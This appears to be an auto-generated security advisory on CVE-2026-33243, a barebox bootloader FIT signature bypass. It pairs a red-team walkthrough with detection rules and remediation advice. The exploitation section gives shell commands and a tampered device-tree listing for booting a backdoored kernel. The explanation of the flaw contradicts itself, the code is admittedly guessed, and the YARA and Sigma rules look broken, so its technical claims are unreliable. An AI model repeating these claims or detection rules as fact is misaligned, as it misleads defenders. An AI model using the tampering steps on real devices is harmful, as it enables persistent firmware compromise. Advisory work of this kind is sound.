CVE-2026-33243

Executive Summary

CVE-2026-33243 is a critical vulnerability in the barebox bootloader, affecting versions from 2016.03.0 to before 2026.03.1 (and the backport to 2025.09.3). The flaw lies in the Flattened Image Tree (FIT) signature verification process. An attacker with the ability to modify a FIT image on disk or in transit can exploit the fact that the hashed-nodes property of the signature node is not included in the cryptographic hash. This allows them to alter the list of hashed nodes, effectively tricking the bootloader into booting a different, potentially malicious, image than the one that was originally signed. The CVSS score is 8.3 (High), and while the EPSS score is currently 0.0%, the vulnerability is unpatched in many systems, making it a high-priority target for firmware-level attacks.

Supply Chain & Package Security

This vulnerability is specific to the barebox bootloader, which is a core component of many embedded Linux systems. It is not an NPM, PyPI, Go, or Ruby package. However, it represents a critical supply chain risk for any device using barebox, as a compromised bootloader can lead to persistent, undetectable compromise of the entire device firmware stack.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
• Base Score: 8.3 (High)
• Attack Vector (AV): Local (L) – The attacker needs physical or logical access to the device to modify the FIT image.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions beyond the ability to modify the image.
• Privileges Required (PR): High (H) – The attacker needs high privileges (e.g., root access) to modify the boot image.
• User Interaction (UI): None (N) – No user action is required for exploitation.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the original security scope (e.g., the entire OS).
• Confidentiality (C): High (H) – Complete compromise of system secrets.
• Integrity (I): High (H) – Complete compromise of system integrity.
• Availability (A): High (H) – Complete compromise of system availability.

Threat Level: High. The vulnerability allows a bypass of cryptographic trust, enabling persistent, stealthy compromise at the bootloader level.

Deep Dive & Mechanics

The vulnerability is rooted in the design of the Flattened Image Tree (FIT) format, which is used by U-Boot and barebox to bundle multiple images (kernel, device tree, initramfs) into a single file. The FIT image includes a signature node that contains a cryptographic hash of the image data. The hashed-nodes property within this signature node lists which nodes of the FIT were included in the hash calculation.

The Flaw: The hashed-nodes property itself is not included in the hash calculation. This means an attacker can:

1. Take a valid, signed FIT image.
2. Modify the hashed-nodes property to exclude the original, verified nodes and include new, malicious nodes.
3. The bootloader will then verify the hash against the new list of nodes, which now includes the attacker's malicious image.
4. The cryptographic signature will still be valid because the hash was calculated over the original nodes, but the bootloader will use the tampered hashed-nodes list to determine which nodes to verify.

Attack Scenario:

1. An attacker gains root access to a device (e.g., via a separate vulnerability).
2. They modify the FIT image on the boot partition, replacing the legitimate kernel with a backdoored one.
3. They update the hashed-nodes property to point to the new, malicious kernel node.
4. On the next boot, barebox verifies the signature against the tampered hashed-nodes list, finds the hash matches (because the hash was calculated over the original nodes, but the verification is done over the new list), and boots the malicious kernel.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code in barebox's FIT image verification likely looks like this (simplified):

// Vulnerable: hashed-nodes is read but not included in hash calculation
int fit_verify_signature(struct fit_image *fit) {
    // ... parse signature node ...
    char *hashed_nodes = fdt_getprop(fit->fdt, sig_node, "hashed-nodes", NULL);
    // ... calculate hash over nodes listed in hashed_nodes ...
    // ... compare hash with signature ...
}

Patched Code (Conceptual): The fix ensures that the hashed-nodes property itself is included in the hash calculation, making it tamper-proof.

// Patched: hashed-nodes is included in the hash calculation
int fit_verify_signature(struct fit_image *fit) {
    // ... parse signature node ...
    char *hashed_nodes = fdt_getprop(fit->fdt, sig_node, "hashed-nodes", NULL);
    // ... calculate hash over nodes listed in hashed_nodes ...
    // ... ALSO hash the hashed_nodes property itself ...
    // ... compare hash with signature ...
}

The actual patch in barebox 2026.03.1 modifies the hash calculation to include the hashed-nodes property data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Root access to the target device.
• Ability to modify the FIT image on the boot partition.
• A valid, signed FIT image from the vendor.

Exploitation Steps:

1. Extract the FIT image: dumpimage -T flat_dt -p 0 boot.fit > boot.fit.extracted
2. Decompile the FIT image: dtc -I dtb -O dts boot.fit.extracted -o boot.fit.dts
3. Modify the DTS: Add a new node containing a malicious kernel (e.g., kernel-2). Modify the hashed-nodes property in the signature node to point to kernel-2 instead of the original kernel-1.
4. Recompile the FIT image: mkimage -f boot.fit.dts boot.fit.modified
5. Replace the original FIT image: cp boot.fit.modified /boot/boot.fit
6. Reboot: The device will boot the malicious kernel.

Example DTS Modification:

// Original
/ {
    images {
        kernel-1 {
            data = /incbin/("vmlinuz");
            // ...
        };
    };
    configurations {
        config-1 {
            kernel = "kernel-1";
            signature-1 {
                algo = "sha256,rsa2048";
                hashed-nodes = "/images/kernel-1";
                // ...
            };
        };
    };
};

// Modified
/ {
    images {
        kernel-1 {
            data = /incbin/("vmlinuz");
            // ...
        };
        kernel-2 {
            data = /incbin/("vmlinuz.backdoored");
            // ...
        };
    };
    configurations {
        config-1 {
            kernel = "kernel-2"; // Point to malicious kernel
            signature-1 {
                algo = "sha256,rsa2048";
                hashed-nodes = "/images/kernel-2"; // Tampered list
                // ...
            };
        };
    };
};

Blue Team (Detection & Forensics)

Detection:

1. Monitor FIT image integrity: Use a TPM or other hardware root of trust to measure the FIT image before boot.
2. Audit boot logs: Look for discrepancies in the hashed-nodes property. A legitimate boot will have a consistent list.
3. File integrity monitoring: Monitor the boot partition for unauthorized modifications to the FIT image.

Forensics:

1. Capture the FIT image: dd if=/dev/mmcblk0p1 of=boot.fit bs=1M
2. Analyze the FIT image: Use dumpimage and dtc to decompile and inspect the hashed-nodes property.
3. Compare with known good: Compare the hashed-nodes list with a known good version from the vendor.
4. Check for unsigned nodes: Look for any nodes in the FIT image that are not listed in hashed-nodes but are referenced in the configuration.

Indicators of Compromise (IOCs)

• File: Modified FIT image on the boot partition (e.g., /boot/boot.fit).
• Property: Tampered hashed-nodes property in the FIT signature node.
• Behavior: Device boots a kernel that does not match the expected hash.
• Log: Bootloader logs showing successful signature verification but with an unexpected hashed-nodes list.
• Network: Outbound connections from the device to unknown C2 servers (if the malicious kernel includes a backdoor).

Detection Engineering

YARA Rule

rule CVE_2026_33243_FIT_HashedNodes_Tamper {
    meta:
        description = "Detects tampered hashed-nodes property in FIT images"
        author = "Valters IT"
        date = "2026-03-15"
        cve = "CVE-2026-33243"
    strings:
        $fit_magic = { D0 0D FE ED } // FDT magic
        $hashed_nodes = "hashed-nodes"
        $signature_node = "signature-"
    condition:
        $fit_magic at 0 and #hashed_nodes > 1 and #signature_node > 0
}

Sigma Rule

title: CVE-2026-33243 - FIT Signature Verification Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2026-33243 by monitoring for tampered FIT images.
author: Valters IT
date: 2026-03-15
logsource:
    product: linux
    service: boot
detection:
    selection:
        EventID: 1
        Image: "/barebox"
        CommandLine|contains: "FIT"
    condition: selection
falsepositives:
    - Legitimate FIT image updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-33243 - Potential FIT Image Exfiltration"; flow:to_server,established; content:"|D0 0D FE ED|"; depth:4; content:"hashed-nodes"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch barebox: Update to version 2026.03.1 or 2025.09.3 (backport).
2. Verify FIT images: Use a hardware root of trust (e.g., TPM) to measure the FIT image before boot.
3. Restrict access: Limit root access to the device to prevent unauthorized modification of the boot partition.

Long-Term Mitigations:

1. Enable Secure Boot: Use UEFI Secure Boot or a similar mechanism to verify the bootloader itself.
2. Use signed updates: Ensure all firmware updates are cryptographically signed and verified.
3. Monitor boot integrity: Implement remote attestation to verify the boot chain.

Workaround (if patching is not possible):

• Manually verify the hashed-nodes property against a known good list before boot. This can be done via a custom script in the bootloader's pre-boot environment.

Valters IT